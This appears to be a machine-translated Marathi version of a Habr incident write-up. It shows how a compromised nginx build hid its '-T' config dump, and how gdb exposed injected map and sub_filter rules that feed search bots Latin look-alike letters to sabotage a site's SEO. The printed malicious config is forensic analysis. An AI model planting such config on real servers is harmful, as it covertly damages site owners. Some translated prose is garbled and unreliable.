जेव्हा 'अ' बरोबर 'अ' नसते. खाचखळग्याच्या निमित्ताने

माझ्या एका मित्राची एक अत्यंत अप्रिय गोष्ट घडली. पण मिखाईलसाठी ते जितके अप्रिय ठरले तितकेच ते माझ्यासाठी मनोरंजक होते.

मी म्हणायलाच पाहिजे की माझा मित्र चांगला आहे युनिक्स-वापरकर्ता: सिस्टम स्वतः स्थापित करू शकतो mysql, php आणि सोपी सेटिंग्ज करा nginx.
आणि त्याच्याकडे बांधकाम साधनांसाठी समर्पित डझन किंवा दीड वेबसाइट्स आहेत.

चेनसॉसाठी समर्पित यापैकी एक साइट शोध इंजिनच्या शीर्षस्थानी ठामपणे बसते. ही साइट एक गैर-व्यावसायिक पुनरावलोकनकर्ता आहे, परंतु कोणीतरी त्यावर हल्ला करण्याची सवय लावली आहे. ते आहरण, नंतर क्रूर फोर्स, नंतर ते अश्लील टिप्पण्या लिहितात आणि होस्टिंग आणि RKN ला शिव्या पाठवतात.
अचानक, सर्व काही शांत झाले आणि ही शांतता चांगली नाही असे दिसून आले आणि साइटने हळूहळू शोध परिणामांच्या शीर्ष ओळी सोडण्यास सुरुवात केली.

ती एक म्हण होती, मग प्रशासकाचीच गोष्ट.

झोपण्याची वेळ जवळ आली होती तेव्हा फोन वाजला: “सॅन, तू माझा सर्व्हर पाहणार नाहीस का? मला असे वाटते की मला हॅक केले गेले आहे, मी ते सिद्ध करू शकत नाही, परंतु या भावनाने मला तिसऱ्या आठवड्यात सोडले नाही. कदाचित माझ्यासाठी पॅरानोईयावर उपचार घेण्याची वेळ आली आहे?"

त्यानंतर अर्धा तास चर्चा झाली ज्याचा सारांश खालीलप्रमाणे आहे:

• हॅकिंगसाठी माती बरीच सुपीक होती;
• आक्रमणकर्ता सुपरयुजर अधिकार मिळवू शकतो;
• हल्ला (जर तो झाला असेल तर) विशेषत: या साइटवर लक्ष्य करण्यात आला होता;
• समस्या क्षेत्र दुरुस्त केले गेले आहेत आणि आपल्याला फक्त हे समजून घेणे आवश्यक आहे की तेथे काही प्रवेश आहे की नाही;
• हॅक साइट कोड आणि डेटाबेस प्रभावित करू शकत नाही.

शेवटच्या मुद्द्याबद्दल.

फक्त पांढरा फ्रंटएंड आयपी जगाकडे पाहतो. HTTP(s) व्यतिरिक्त बॅकएंड आणि फ्रंटएंड यांच्यात कोणतीही देवाणघेवाण नाही, वापरकर्ते/पासवर्ड वेगळे आहेत, कोणत्याही कळांची देवाणघेवाण केलेली नाही. राखाडी पत्त्यांवर, 80/443 वगळता सर्व पोर्ट बंद आहेत. व्हाईट बॅकएंड आयपी फक्त दोन वापरकर्त्यांना ज्ञात आहेत, ज्यांच्यावर मिखाईलचा पूर्ण विश्वास आहे.

फ्रंटएंड वर स्थापित डेबियन 9 आणि कॉल येईपर्यंत, प्रणाली बाह्य फायरवॉलद्वारे जगापासून वेगळी केली जाते आणि थांबते.

“ठीक आहे, मला प्रवेश द्या,” मी तासाभराची झोप सोडण्याचा निर्णय घेतला. "मी माझ्या डोळ्यांनी बघेन."

येथे आणि पुढे:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

संभाव्य हॅक शोधत आहे

मी सर्व्हर सुरू करतो, प्रथम मध्ये बचाव मोड. मी डिस्क्स माउंट करतो आणि त्यामधून फ्लिप करतो प्रमाण-नोंदी इतिहास, सिस्टम लॉग इ., शक्य असल्यास, मी फाइल तयार करण्याच्या तारखा तपासतो, जरी मला समजले आहे की सामान्य क्रॅकर स्वतःच्या मागे "उचलला" असेल आणि मीशा स्वतःला शोधत असताना आधीच "खाली" खूप खाली गेली होती .

मी सामान्य मोडमध्ये प्रारंभ करतो, काय शोधायचे हे अद्याप समजत नाही, मी कॉन्फिगचा अभ्यास करतो. सर्व प्रथम, मला स्वारस्य आहे nginx कारण, सर्वसाधारणपणे, फ्रंटएंडवर त्याशिवाय दुसरे काहीही नाही.
कॉन्फिग्स लहान आहेत, डझनभर फायलींमध्ये चांगल्या प्रकारे संरचित आहेत, मी फक्त त्या पाहतो मांजरअरे एक एक करून. सर्व काही स्वच्छ आहे असे दिसते, परंतु माझे काही चुकले की नाही हे तुला कधीच कळत नाही समावेश, मला संपूर्ण सूची बनवू द्या:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

मला समजले नाही: "सूची कुठे आहे?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

सूचीच्या प्रश्नात दुसरा प्रश्न जोडला आहे: "एनजीएनएक्सची अशी प्राचीन आवृत्ती का?"

याव्यतिरिक्त, सिस्टमचा विश्वास आहे की नवीनतम आवृत्ती स्थापित केली आहे:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

मी कॉल करत आहे:
- मीशा, तू पुन्हा का एकत्र आलास nginx?
- जागे व्हा, मला हे कसे करावे हे देखील माहित नाही!
- ठीक आहे, झोपायला जा ...

Nginx ते स्पष्टपणे पुन्हा तयार केले आहे आणि “-T” वापरून सूचीचे आउटपुट कारणास्तव लपवले आहे. हॅकिंगबद्दल यापुढे कोणतीही शंका नाही आणि तुम्ही ते सहजपणे स्वीकारू शकता आणि (मीशाने सर्व्हरला नवीनसह बदलले असल्याने) समस्येचे निराकरण करण्याचा विचार करा.

आणि खरंच, कोणीतरी अधिकार मिळाल्यापासून मूळ'अहो, मग ते करण्यात अर्थ आहे सिस्टम पुन्हा स्थापित करा, आणि तिथे काय चूक आहे हे शोधणे निरुपयोगी होते, परंतु यावेळी कुतूहलाने झोपेचा पराभव केला. ते आपल्यापासून काय लपवू इच्छित होते हे आपण कसे शोधू शकतो?

चला ट्रेस करण्याचा प्रयत्न करूया:

$ strace nginx -T

आम्ही ते पाहतो, ट्रेस ए ला मध्ये स्पष्टपणे पुरेशा ओळी नाहीत

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

फक्त मनोरंजनासाठी, निष्कर्षांची तुलना करूया.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

मला कोडचा भाग वाटतो /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

फॉर्ममध्ये आणले होते:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

किंवा

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

त्यामुळे "-T" द्वारे सूची प्रदर्शित होत नाही.

पण आम्ही आमचे कॉन्फिगरेशन कसे पाहू शकतो?

जर माझा विचार बरोबर असेल आणि समस्या फक्त व्हेरिएबलमध्ये असेल ngx_dump_config वापरून स्थापित करण्याचा प्रयत्न करूया जीडीबी, सुदैवाने एक किल्ली आहे --with-cc-opt -g सादर करा आणि आशा आहे की ऑप्टिमायझेशन -O2 ते आम्हाला इजा करणार नाही. त्याच वेळी, मला कसे माहित नाही ngx_dump_config मध्ये प्रक्रिया केली जाऊ शकते केस 'टी':, आम्ही या ब्लॉकला कॉल करणार नाही, परंतु ते वापरून स्थापित करू केस 'टी':

तुम्ही '-t' तसेच '-T' का वापरू शकताब्लॉक प्रक्रिया जर(ngx_dump_config) आत घडते जर(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

अर्थात, जर कोड या भागात बदलला असेल आणि मध्ये नाही केस 'टी':, तर माझी पद्धत काम करणार नाही.

चाचणी nginx.confआधीच प्रायोगिकरित्या समस्येचे निराकरण केल्यावर, हे स्थापित केले गेले की मालवेअर कार्य करण्यासाठी किमान कॉन्फिगरेशन आवश्यक आहे nginx प्रकार:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

आम्ही लेखात संक्षिप्ततेसाठी याचा वापर करू.

डीबगर लाँच करा

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

क्रमाक्रमाने:

• फंक्शनमध्ये ब्रेकपॉइंट सेट करा मुख्य ()
• कार्यक्रम सुरू करा
• व्हेरिएबलचे मूल्य बदला जे कॉन्फिगचे आउटपुट निर्धारित करते ngx_dump_config=1
• कार्यक्रम सुरू ठेवा/समाप्त करा

जसे आपण पाहू शकतो, वास्तविक कॉन्फिगरेशन आपल्यापेक्षा भिन्न आहे, आम्ही त्यातून एक परजीवी तुकडा निवडतो:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

क्रमाने येथे काय घडत आहे ते पाहू या.

ठरवले वापरकर्ता एजंटचे yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

सेवा पृष्ठे वगळली आहेत वर्डप्रेस:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

आणि जे वरील दोन्ही अटींखाली येतात त्यांच्यासाठी

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

मजकूर मध्ये html- पृष्ठे बदलतात 'ओ' वर 'ओ' и 'अ' वर 'अ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ते बरोबर आहे, फक्त सूक्ष्मता आहे 'a' != 'a' जसे 'ओ' ! = 'ओ':

अशा प्रकारे, शोध इंजिन बॉट्सना, सामान्य 100% सिरिलिक मजकुराऐवजी, लॅटिनमध्ये पातळ केलेला बदललेला कचरा प्राप्त होतो 'अ' и 'ओ'. याचा SEO वर कसा परिणाम होतो यावर चर्चा करण्याचे धाडस मी करत नाही, परंतु अक्षरांच्या अशा गोंधळाचा शोध परिणामांमधील स्थानांवर सकारात्मक परिणाम होण्याची शक्यता नाही.

मी काय सांगू, अगं कल्पनाशक्ती.

संदर्भ

GDB सह डीबग करणे
gdb(1) — लिनक्स मॅन पेज
strace(1) — लिनक्स मॅन पेज
Nginx - मॉड्यूल ngx_http_sub_module
आरे, चेनसॉ आणि इलेक्ट्रिक आरे बद्दल

स्त्रोत: www.habr.com